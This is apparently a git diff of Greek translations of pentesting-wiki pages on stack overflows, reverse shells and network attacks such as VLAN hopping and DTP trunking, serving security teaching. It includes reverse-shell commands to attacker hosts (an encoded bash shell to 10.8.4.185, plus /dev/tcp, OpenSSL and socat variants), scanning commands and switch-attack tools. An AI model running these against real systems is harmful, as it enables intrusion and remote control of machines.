Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, στην αναστάτωση της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, διαταραχή της ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο.
Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**.
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
### Ret2win
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
{{#ref}}
ret2win/
@ -73,7 +73,7 @@ stack-shellcode/
### ROP & Ret2... τεχνικές
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο:
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψει την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό:
{{#ref}}
../rop-return-oriented-programing/
@ -95,9 +95,9 @@ stack-shellcode/
../common-binary-protections-and-bypasses/
{{#endref}}
### Πραγματικό Παράδειγμα: CVE-2025-40596 (SonicWall SMA100)
### Παράδειγμα Πραγματικού Κόσμου: CVE-2025-40596 (SonicWall SMA100)
Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN SMA100 της SonicWall.
Μια καλή επίδειξη του γιατί **`sscanf` δεν θα πρέπει ποτέ να εμπιστεύεστε για την ανάλυση μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SSL-VPN της SonicWall, SMA100.
Η ευάλωτη ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξαγάγει την έκδοση και το σημείο πρόσβασης από οποιοδήποτε URI που αρχίζει με `/__api__/`:
```c
char version[3];
@ -107,7 +107,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. `"v1"`).
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**.
3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και έχει μήκος **0x800 bytes**, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**.
3. Επειδή το `endpoint` βρίσκεται στη **στοίβα** και είναι **0x800 bytes** μακρύ, η παροχή ενός μονοπατιού μεγαλύτερου από 0x800 bytes διαφθείρει τα πάντα που βρίσκονται μετά το buffer συμπεριλαμβανομένου του **stack canary** και της **αποθηκευμένης διεύθυνσης επιστροφής**.
Μια απόδειξη-έννοια μίας γραμμής είναι αρκετή για να προκαλέσει την κατάρρευση **πριν από την αυθεντικοποίηση**:
```python

View File

@ -6,7 +6,7 @@
## Full TTY
**Μόλις αποκτήσετε μια αντίστροφη θήκη**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.**
**Μόλις αποκτήσετε μια αντίστροφη θήκη**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε μια πλήρη TTY**](full-ttys.md)**.**
## Bash | sh
```bash
@ -35,7 +35,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
#### Εξήγηση του Shell
1. **`bash -i`**: Αυτό το μέρος της εντολής ξεκινά ένα διαδραστικό (`-i`) Bash shell.
2. **`>&`**: Αυτό το μέρος της εντολής είναι μια συντομογραφία για **την ανακατεύθυνση τόσο της κανονικής εξόδου** (`stdout`) όσο και της **κανονικής σφάλματος** (`stderr`) στον **ίδιο προορισμό**.
2. **`>&`**: Αυτό το μέρος της εντολής είναι μια συντομευμένη σημειογραφία για **την ανακατεύθυνση τόσο της κανονικής εξόδου** (`stdout`) όσο και **του κανονικού σφάλματος** (`stderr`) στον **ίδιο προορισμό**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**.
- Με **την ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελεσματικά την έξοδο της διαδραστικής συνεδρίας shell στη μηχανή του επιτιθέμενου.
4. **`0>&1`**: Αυτό το μέρος της εντολής **ανακατευθύνει την κανονική είσοδο (`stdin`) στον ίδιο προορισμό με την κανονική έξοδο (`stdout`)**.
@ -75,11 +75,11 @@ response.raise_for_status()
return response.text
```
Και τότε, μπορείτε να εκτελέσετε:
Και μετά, μπορείτε να εκτελέσετε:
```shell
toboggan -m nix.py -i
```
Για να εκμεταλλευτείτε άμεσα ένα διαδραστικό shell. Μπορείτε να προσθέσετε `-b` για την ενσωμάτωση του Burpsuite και να αφαιρέσετε το `-i` για μια πιο βασική rce wrapper.
Για να εκμεταλλευτείτε άμεσα ένα διαδραστικό shell. Μπορείτε να προσθέσετε `-b` για την ενσωμάτωση του Burpsuite και να αφαιρέσετε το `-i` για μια πιο βασική περιτύλιξη rce.
Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης forward shell του `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
@ -87,7 +87,7 @@ toboggan -m nix.py -i
- Τη διεύθυνση URL του ευάλωτου host
- Το πρόθεμα και το επίθημα του payload σας (αν υπάρχει)
- Τον τρόπο αποστολής του payload (headers; data; επιπλέον πληροφορίες;)
- Τον τρόπο αποστολής του payload (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
Στη συνέχεια, μπορείτε απλά να **στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να αποκτήσετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1.3 δευτερολέπτων).
@ -243,7 +243,7 @@ curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_6
## revsh (κρυπτογραφημένο & έτοιμο για pivot)
`revsh` είναι ένας μικρός πελάτης/διακομιστής C που παρέχει πλήρες TTY μέσω ενός **κρυπτογραφημένου καναλιού Diffie-Hellman** και μπορεί προαιρετικά να συνδεθεί σε μια **διεύθυνση TUN/TAP** για αναστροφή τύπου VPN.
`revsh` είναι ένας μικρός πελάτης/διακομιστής C που παρέχει πλήρες TTY μέσω ενός **κρυπτογραφημένου καναλιού Diffie-Hellman** και μπορεί προαιρετικά να συνδεθεί σε μια **διεύθυνση TUN/TAP** για αναστροφή παρόμοια με VPN.
```bash
# Build (or grab a pre-compiled binary from the releases page)
git clone https://github.com/emptymonkey/revsh && cd revsh && make
@ -259,7 +259,7 @@ revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
- `-p socks5://127.0.0.1:9050` : proxy μέσω TOR/HTTP/SOCKS
- `-t` : δημιουργία διεπαφής TUN (reverse VPN)
Επειδή ολόκληρη η συνεδρία είναι κρυπτογραφημένη και πολυπλεξία, συχνά παρακάμπτει απλό φιλτράρισμα εξόδου που θα σκότωνε μια απλή `/dev/tcp` shell.
Επειδή η ολόκληρη συνεδρία είναι κρυπτογραφημένη και πολυπλεξία, συχνά παρακάμπτει απλό φιλτράρισμα εξόδου που θα σκότωνε μια απλή `/dev/tcp` shell.
## OpenSSL
@ -286,7 +286,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### Αντίστροφη θήκη
### Αντίστροφη Σέλα
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
@ -347,7 +347,7 @@ Xnest :1
```
## Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Η αντίστροφη θηλή Java λειτουργεί επίσης για το Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Η αντίστροφη θήκη Java λειτουργεί επίσης για το Groovy
```bash
String host="localhost";
int port=8044;

View File

@ -7,13 +7,13 @@
## Ανακάλυψη hosts από το εξωτερικό
Αυτή θα είναι μια **σύντομη ενότητα** σχετικά με το πώς να βρείτε **IPs που απαντούν** από το **Διαδίκτυο**.\
Σε αυτή την περίπτωση έχετε κάποιο **εύρος IPs** (ίσως και αρκετές **σειρές**) και πρέπει να βρείτε **ποια IPs απαντούν**.
Σε αυτή την περίπτωση έχετε κάποιο **εύρος IPs** (ίσως ακόμη και αρκετές **σειρές**) και πρέπει να βρείτε **ποια IPs απαντούν**.
### ICMP
Αυτή είναι η **ευκολότερη** και **ταχύτερη** μέθοδος για να ανακαλύψετε αν ένας host είναι ενεργός ή όχι.\
Μπορείτε να προσπαθήσετε να στείλετε κάποια **ICMP** πακέτα και να **περιμένετε απαντήσεις**. Ο ευκολότερος τρόπος είναι να στείλετε ένα **echo request** και να περιμένετε την απάντηση. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας ένα απλό `ping` ή χρησιμοποιώντας `fping` για **σειρές**.\
Μπορείτε επίσης να χρησιμοποιήσετε το **nmap** για να στείλετε άλλους τύπους ICMP πακέτων (αυτό θα αποφύγει φίλτρα για κοινές αιτήσεις-απαντήσεις ICMP echo).
Μπορείτε επίσης να χρησιμοποιήσετε το **nmap** για να στείλετε άλλους τύπους ICMP πακέτων (αυτό θα αποτρέψει φίλτρα σε κοινές αιτήσεις-απαντήσεις ICMP echo).
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP Port Discovery
Είναι πολύ συνηθισμένο να διαπιστώνουμε ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας υπολογιστής είναι ενεργός είναι **να προσπαθήσετε να βρείτε ανοιχτές θύρες**. Κάθε υπολογιστής έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\
Είναι πολύ συνηθισμένο να διαπιστώνουμε ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Έτσι, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας υπολογιστής είναι ενεργός είναι να **προσπαθήσετε να βρείτε ανοιχτές θύρες**. Κάθε υπολογιστής έχει **65535 θύρες**, οπότε, αν έχετε ένα "μεγάλο" πεδίο, **δεν μπορείτε** να ελέγξετε αν **κάθε θύρα** κάθε υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πολύ χρόνο.\
Έτσι, αυτό που χρειάζεστε είναι ένας **γρήγορος σαρωτής θύρας** ([masscan](https://github.com/robertdavidgraham/masscan)) και μια λίστα με τις **πιο χρησιμοποιούμενες θύρες:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
@ -37,7 +37,7 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP Port Discovery
Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP θύρα είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **φιλοξενούμενο.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος για να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας:
Μπορείτε επίσης να προσπαθήσετε να ελέγξετε αν κάποια **UDP port είναι ανοιχτή** για να αποφασίσετε αν θα **δώσετε περισσότερη προσοχή** σε έναν **host.** Δεδομένου ότι οι υπηρεσίες UDP συνήθως **δεν απαντούν** με **κανένα δεδομένο** σε ένα κανονικό κενό πακέτο UDP probe, είναι δύσκολο να πούμε αν μια θύρα φιλτράρεται ή είναι ανοιχτή. Ο ευκολότερος τρόπος για να το αποφασίσετε είναι να στείλετε ένα πακέτο σχετικό με την τρέχουσα υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή με βάση τον αριθμό της θύρας:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Ενεργό
Σημειώστε ότι οι τεχνικές που σχολιάζονται στο [_**Ανακαλύπτοντας hosts από το εξωτερικό**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) μπορούν επίσης να **εφαρμοστούν εδώ**.\
Σημειώστε ότι οι τεχνικές που σχολιάστηκαν στο [_**Ανακαλύπτοντας hosts από έξω**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) μπορούν επίσης να **εφαρμοστούν εδώ**.\
Αλλά, καθώς βρίσκεστε στο **ίδιο δίκτυο** με τους άλλους hosts, μπορείτε να κάνετε **περισσότερα πράγματα**:
```bash
#ARP discovery
@ -123,7 +123,7 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
- **Ανοιχτή** θύρα: _SYN --> SYN/ACK --> RST_
- **Κλειστή** θύρα: _SYN --> RST/ACK_
- **Φιλτραρισμένη** θύρα: _SYN --> \[NO RESPONSE]_
- **Φιλτραρισμένη** θύρα: _SYN --> \[ΧΩΡΙΣ ΑΠΑΝΤΗΣΗ]_
- **Φιλτραρισμένη** θύρα: _SYN --> ICMP μήνυμα_
```bash
# Nmap fast scan for the most 1000tcp ports used
@ -182,7 +182,7 @@ nmap-summary-esp.md
### Αποκάλυψη Εσωτερικών Διευθύνσεων IP
**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται.
**Κακώς ρυθμισμένοι δρομολογητές, τείχη προστασίας και συσκευές δικτύου** μερικές φορές απαντούν σε δίκτυα probes χρησιμοποιώντας **μη δημόσιες διευθύνσεις προέλευσης**. **tcpdump** μπορεί να χρησιμοποιηθεί για να εντοπίσει πακέτα που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια της δοκιμής. Συγκεκριμένα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη **διεύθυνση eth2**, η οποία είναι προσβάσιμη από το δημόσιο Διαδίκτυο. Είναι σημαντικό να σημειωθεί ότι αν η ρύθμισή σας είναι πίσω από NAT ή τείχος προστασίας, τέτοια πακέτα είναι πιθανό να φιλτράρονται.
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## Sniffing
Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις περιοχές IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing.
Με το Sniffing μπορείτε να μάθετε λεπτομέρειες σχετικά με τις διευθύνσεις IP, τα μεγέθη υποδικτύων, τις διευθύνσεις MAC και τα ονόματα υπολογιστών αναθεωρώντας τα κατεχόμενα πλαίσια και πακέτα. Εάν το δίκτυο είναι κακώς διαμορφωμένο ή το switching fabric είναι υπό πίεση, οι επιτιθέμενοι μπορούν να συλλάβουν ευαίσθητο υλικό μέσω παθητικού network sniffing.
Εάν ένα δίκτυο Ethernet με διακόπτες είναι σωστά διαμορφωμένο, θα δείτε μόνο broadcast frames και υλικό που προορίζεται για τη διεύθυνση MAC σας.
@ -256,11 +256,11 @@ macof -i <interface>
#### Δυναμική Τρούκ
Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης κατάλληλης τεκμηρίωσης.
Το **Dynamic Trunking Protocol (DTP)** έχει σχεδιαστεί ως πρωτόκολλο επιπέδου σύνδεσης για να διευκολύνει ένα αυτόματο σύστημα τρούκ, επιτρέποντας στους διακόπτες να επιλέγουν αυτόματα θύρες για λειτουργία τρούκ (Trunk) ή μη τρούκ. Η ανάπτυξη του **DTP** συχνά θεωρείται ένδειξη υποβέλτιστης σχεδίασης δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης ρύθμισης των τρούκ μόνο όπου είναι απαραίτητο και της διασφάλισης σωστής τεκμηρίωσης.
Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε λειτουργία Dynamic Auto, που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται με τον διακόπτη και στέλνει ένα DTP Desirable frame, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης πλαισίων STP και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές.
Από προεπιλογή, οι θύρες του διακόπτη είναι ρυθμισμένες να λειτουργούν σε λειτουργία Dynamic Auto, που σημαίνει ότι είναι έτοιμες να ξεκινήσουν τρούκ αν ζητηθεί από έναν γειτονικό διακόπτη. Ένα ζήτημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στον διακόπτη και στέλνει ένα DTP Desirable frame, αναγκάζοντας τη θύρα να εισέλθει σε λειτουργία τρούκ. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης STP frame και να παρακάμψει τον κατακερματισμό VLAN δημιουργώντας εικονικές διεπαφές.
Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κυκλοφορία σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε λειτουργία Default, Trunk, Dynamic, Auto ή Access—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη.
Η παρουσία του DTP σε πολλούς διακόπτες από προεπιλογή μπορεί να εκμεταλλευτεί από αντιπάλους για να μιμηθούν τη συμπεριφορά ενός διακόπτη, αποκτώντας έτσι πρόσβαση στην κίνηση σε όλα τα VLAN. Το σενάριο [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας αν ένας διακόπτης είναι σε λειτουργία Default, Trunk, Dynamic, Auto ή Access—η τελευταία είναι η μόνη ρύθμιση που είναι ανθεκτική σε επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την κατάσταση ευπάθειας του διακόπτη.
Εάν εντοπιστεί ευπάθεια δικτύου, το εργαλείο _**Yersinia**_ μπορεί να χρησιμοποιηθεί για να "ενεργοποιήσει το τρούκ" μέσω του πρωτοκόλλου DTP, επιτρέποντας την παρακολούθηση πακέτων από όλα τα VLAN.
```bash
@ -279,16 +279,16 @@ yersinia -G #For graphic mode
```
sudo python3 DTPHijacking.py --interface eth0
```
Θα ήθελα να επισημάνω ότι το **Access/Desirable (0x03)** υποδεικνύει ότι το πλαίσιο DTP είναι του τύπου Desirable, το οποίο λέει στην θύρα να αλλάξει σε λειτουργία Trunk. Και το **802.1Q/802.1Q (0xa5)** υποδεικνύει τον τύπο ενθυλάκωσης **802.1Q**.
Θα ήθελα να επισημάνω ότι το **Access/Desirable (0x03)** υποδεικνύει ότι το DTP frame είναι του τύπου Desirable, το οποίο λέει στην θύρα να αλλάξει σε Trunk mode. Και το **802.1Q/802.1Q (0xa5)** υποδεικνύει τον τύπο encapsulation **802.1Q**.
Αναλύοντας τα πλαίσια STP, **μαθαίνουμε για την ύπαρξη των VLAN 30 και VLAN 60.**
Αναλύοντας τα STP frames, **μαθαίνουμε για την ύπαρξη των VLAN 30 και VLAN 60.**
<figure><img src="../../images/image (124).png" alt=""><figcaption></figcaption></figure>
#### Επίθεση σε συγκεκριμένα VLANs
Μόλις γνωρίζετε τις τιμές των VLAN IDs και IPs, μπορείτε να **ρυθμίσετε μια εικονική διεπαφή για να επιτεθείτε σε ένα συγκεκριμένο VLAN**.\
Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP.
Μόλις γνωρίζετε τις τιμές VLAN IDs και IPs, μπορείτε να **ρυθμίσετε μια εικονική διεπαφή για να επιτεθείτε σε ένα συγκεκριμένο VLAN**.\
Εάν το DHCP δεν είναι διαθέσιμο, τότε χρησιμοποιήστε το _ifconfig_ για να ορίσετε μια στατική διεύθυνση IP.
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
@ -321,13 +321,13 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```
#### Αυτόματος VLAN Hopper
#### Automatic VLAN Hopper
Η συζητηθείσα επίθεση του **Dynamic Trunking και της δημιουργίας εικονικών διεπαφών για την ανακάλυψη hosts μέσα** σε άλλες VLAN εκτελείται **αυτόματα** από το εργαλείο: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Διπλή Ετικέτα
#### Double Tagging
Εάν ένας επιτιθέμενος γνωρίζει την τιμή του **MAC, IP και VLAN ID του θύματος**, θα μπορούσε να προσπαθήσει να **διπλή ετικέτα ένα πλαίσιο** με την καθορισμένη VLAN του και τη VLAN του θύματος και να στείλει ένα πακέτο. Καθώς το **θύμα δεν θα μπορεί να συνδεθεί πίσω** με τον επιτιθέμενο, η **καλύτερη επιλογή για τον επιτιθέμενο είναι να επικοινωνήσει μέσω UDP** με πρωτόκολλα που μπορούν να εκτελέσουν κάποιες ενδιαφέρουσες ενέργειες (όπως το SNMP).
Εάν ένας επιτιθέμενος γνωρίζει την τιμή του **MAC, IP και VLAN ID του θύματος**, θα μπορούσε να προσπαθήσει να **διπλοετικετάρει ένα πλαίσιο** με την καθορισμένη VLAN του και την VLAN του θύματος και να στείλει ένα πακέτο. Καθώς το **θύμα δεν θα μπορεί να συνδεθεί πίσω** με τον επιτιθέμενο, η **καλύτερη επιλογή για τον επιτιθέμενο είναι να επικοινωνήσει μέσω UDP** με πρωτόκολλα που μπορούν να εκτελέσουν κάποιες ενδιαφέρουσες ενέργειες (όπως το SNMP).
Μια άλλη επιλογή για τον επιτιθέμενο είναι να εκκινήσει μια **σάρωση TCP port spoofing μια IP που ελέγχεται από τον επιτιθέμενο και είναι προσβάσιμη από το θύμα** (πιθανώς μέσω διαδικτύου). Στη συνέχεια, ο επιτιθέμενος θα μπορούσε να παρακολουθήσει στον δεύτερο host που κατέχει αν λάβει κάποια πακέτα από το θύμα.
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
Σε ορισμένα περιβάλλοντα, όπως τα δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις **απομόνωσης θυρών (γνωστές και ως ιδιωτικά VLAN)** για να αποτραπεί η άμεση επικοινωνία μεταξύ των πελατών που είναι συνδεδεμένοι σε ένα ασύρματο σημείο πρόσβασης. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας στα πακέτα IP να δρομολογούνται μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο.
